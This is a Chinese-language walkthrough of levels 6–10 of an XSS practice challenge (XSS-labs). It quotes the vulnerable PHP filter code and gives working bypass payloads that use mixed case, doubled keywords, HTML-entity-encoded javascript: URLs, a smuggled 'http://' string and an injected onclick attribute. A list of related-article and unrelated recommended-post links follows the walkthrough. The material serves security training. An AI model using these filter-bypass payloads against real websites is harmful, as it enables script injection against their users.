进入第六关

简单判断过滤情况

<>script"'/

查看源代码

可以看到第二个红框部分跟之前类似,闭合双引号尝试进行弹窗

"><script>alert(1)</script>

关键字被下划线分割了,尝试使用前一关的payload

"><a href="javascript:alert(1)">hi</a>

前一关的payload已经行不通了,猜测应该是后端过滤关键字变多。

尝试使用大小写进行突破

"><scRIpt>alert(1)</scRIpt>

成功通过

进入第七关

简单检测

<>script"'/

源代码value 中的script被替换成为了空,看到这种结果第一时间想到双写绕过

"><scscriptript>alert(1)</scscriptript>

成功绕过

第八关

简单进行检测

<>script"'/

结果为:

因为script被分割,所以也不能使用payload

javascript:alert(1)

同时尝试大小写绕过也无果

但是可以看出来,第一个红框中尖括号被过滤了,第二个红框中尖括号没有被过滤,可以猜测只有第一个输出点被XSS过滤函数过滤了,所以我们的突破点在第二个红框中。

关于该处的利用方式,在这篇博文中与相关的介绍:

https://0verwatch.top/xss-encodeorder.html

使用XSS编码来进行绕过

我们可以根据浏览器解析编码的顺序来触发XSS,因为后端是对敏感字符进行整体替换,所以进行编码后就可绕过

$str = strtolower($_GET["keyword"]);
$str2=str_replace("script","scr_ipt",$str);
$str3=str_replace("on","o_n",$str2);
$str4=str_replace("src","sr_c",$str3);
$str5=str_replace("data","da_ta",$str4);
$str6=str_replace("href","hr_ef",$str5);
$str7=str_replace('"','&quot',$str6);

根据引用的那篇博文,我们可知浏览器如果要把HTML编码解析并且渲染前提必须要这种编码一定要在标签内某个属性里面才行。

编码网站:https://www.qqxiuzi.cn/bianma/zifushiti.php

所以最后的payload可为:(答案不唯一)

javascript:alert(1)

添加后点击友情链接即可XSS,其源码为:

<center><BR><a href="javascript:alert(1)">友情链接</a></center><center><img src=level8.jpg></center>

进入第九关

后面部分关卡比较复杂,从源码分析绕过,贴出部分源码:

$str = strtolower($_GET["keyword"]);
$str2=str_replace("script","scr_ipt",$str);
$str3=str_replace("on","o_n",$str2);
$str4=str_replace("src","sr_c",$str3);
$str5=str_replace("data","da_ta",$str4);
$str6=str_replace("href","hr_ef",$str5);
$str7=str_replace('"','&quot',$str6);

这里是基础的替换,跟上一关相同。

接着是本关特色,对于url合法性的判断:

if(false===strpos($str7,'http://'))
{
echo '<center><BR><a href="您的链接不合法?有没有!">友情链接</a></center>';
}
else
{
echo '<center><BR><a href="'.$str7.'">友情链接</a></center>';
}

这里判断字符串中是否存在http://,存在的话就回到上一关的页面显示代码,所以我们只需要在payload里面找个合适的位置添加http://即可

javascript:alert`http://`

进入第十关

<?php
ini_set("display_errors", 0);
$str = $_GET["keyword"];
$str11 = $_GET["t_sort"];
$str22=str_replace(">","",$str11);
$str33=str_replace("<","",$str22);
echo "<h2 align=center>没有找到和".htmlspecialchars($str)."相关的结果.</h2>".'<center>
<form id=search>
<input name="t_link" value="'.'" type="hidden">
<input name="t_history" value="'.'" type="hidden">
<input name="t_sort" value="'.$str33.'" type="hidden">
</form>
</center>';
?>

可以看到传入了 keyword 和 t_sort参数,对于 keyword 使用htmlspecialchars函数来进行过滤,对 t_sort 参数只是进行了简单的尖括号的替换,所以很明显突破点是在 t_sort 参数处。

仅仅是过滤了尖括号,我们使用事件来进行绕过

?keyword="well done!"&t_sort=" onclick=alert`1` " type="text"

为了最后能够点击,我们将类型设置为text即可。

参考链接:

https://0verwatch.top/xss-game.html

XSS挑战赛(2)的更多相关文章

  1. 某xss挑战赛闯关笔记

    0x0 前言 在sec-news发现先知上师傅monika发了一个xss挑战赛的闯关wp([巨人肩膀上的矮子]XSS挑战之旅---游戏通关攻略(更新至18关)https://xianzhi.aliyu ...

  2. xss挑战赛小记 0x02(prompt(1))

    0x0O 上次搜xss挑战赛的时候 还找到了一个看上去难度更高的挑战赛 今天做了一下 学到了很多新东西 这个挑战赛能够在页面成功prompt(1)就算过关了 挑战地址 http://prompt.ml ...

  3. xss挑战赛小记 0x01(xsstest)

    0x00 今天在先知社区看到了一个xss挑战赛 结果发现比赛已经结束 服务器也关了 百度找了个xss挑战赛来玩一下 正好印证下xss的学习--- 地址     http://test.xss.tv/ ...

  4. xss挑战赛小记 0x03(xssgame)

    0x00 继续做xss吧 这次是xssgame 地址 http://www.xssgame.com/ 一共八关 学到了很多东西 0x01 啥也没有 <svg/onload="alert ...

  5. XSS挑战赛(4)

    16-20关 第十六关 关键代码为: <?php ini_set("display_errors", 0); $str = strtolower($_GET["ke ...

  6. XSS挑战赛(3)

    查看关键代码: <?php ini_set("display_errors", 0); $str = $_GET["keyword"]; $str00 = ...

  7. XSS挑战赛(1)

    以前囫囵吞枣做过一遍,现在从头再来 第一关网址为:http://127.0.0.1/xss-labs-master/level1.php?name=test 而页面上显示了用户test,name可控, ...

  8. 先知xss挑战赛学习笔记

    xss游戏 游戏地址:http://ec2-13-58-146-2.us-east-2.compute.amazonaws.com/ LEMON参考wp地址 1. 文件上传 源码如下 <?php ...

  9. web全套资料 干货满满 各种文章详解

    sql注入l MySqlMySQL False注入及技巧总结MySQL 注入攻击与防御sql注入学习总结SQL注入防御与绕过的几种姿势MySQL偏门技巧mysql注入可报错时爆表名.字段名.库名高级S ...

随机推荐

  1. Azure Data Factory(四)集成 Logic App 的邮件通知提醒

    一,引言 上一篇有介绍到使用Azure Data Factory 复制数据,然后有集成 Azure DevOps 实现CI/CD,但是对于真正的项目来说,这些肯定是不够的,比如说在执行 Azure P ...

  2. 聊一聊无锁队列rte_ring

    之前用基于dpdk 实现小包快速转发的时候有用到无锁队列!今天就来看看吧!(后续完成了去dpdk化,直接在内核完成快速转发功能) dpdk的无锁队列ring是借鉴了linux内核kfifo无锁队列.r ...

  3. IP 层收发报文简要剖析6--ip_forward 报文转发

    //在函数ip_route_input_slow->ip_mkroute_input注册, /* * IP数据包的转发是由ip_forward()处理,该函数在ip_rcv_finish() * ...

  4. python pip install指定国内源镜像

    有时候安装一些依赖包,网不好,直接超时,或者这个包就是死都下不下来的时候,可以指定国内源镜像. pip install -i 国内镜像地址 包名 e.g. pip install -i  http:/ ...

  5. oracle 相关笔记

    1.查询语句执行顺序 from->where->[group by ]-> select ->distinct->count(某一列) 2.用命令执行存储过程用 exec ...

  6. [LeetCode题解]92. 反转链表 II | 一次遍历 + 反转

    解题思路 将链表分为三部分:[0, m).[m, n].(n, L],其中 L 为链表长度. 第一步:使用虚拟头节点 dummy,用于将 head 也能参与操作: 第二步:找到第 m-1 节点(fir ...

  7. Mesos Marathon能做什么?理念是什么?(转)

    Mesos功能和特点? Mesos是如何实现整个数据中心统一管理的呢?核心的概念就是资源两级供给和作业两级调度.先说说从下而上的资源两级供给吧. 在Mesos集群中,资源的供应方都来自Mesos Sl ...

  8. 【开源】.net微服务开发引擎Anno开源啦

    1.Anno是什么? Anno是一个微服务框架引擎.入门简单.安全.稳定.高可用.全平台可监控.依赖第三方框架少.底层通讯RPC(Remote Procedure Call)采用稳定可靠经过无数成功项 ...

  9. 20201124-web方向-命令执行-RCE

    参考链接:https://www.cnblogs.com/wangtanzhi/p/12311239.html RCE: 英文全称:remote command / code execcute 分别为 ...

  10. Boom 3D的广播有哪些,有啥特色

    Boom 3D(Windows系统)不仅为用户提供了包括3D立体音效.古典音乐音效在内的多种音效增强功能,而且还为用户提供了广播功能.该广播功能不仅涵盖了国内广播节目,而且还涵盖了国际广播节目. 接下 ...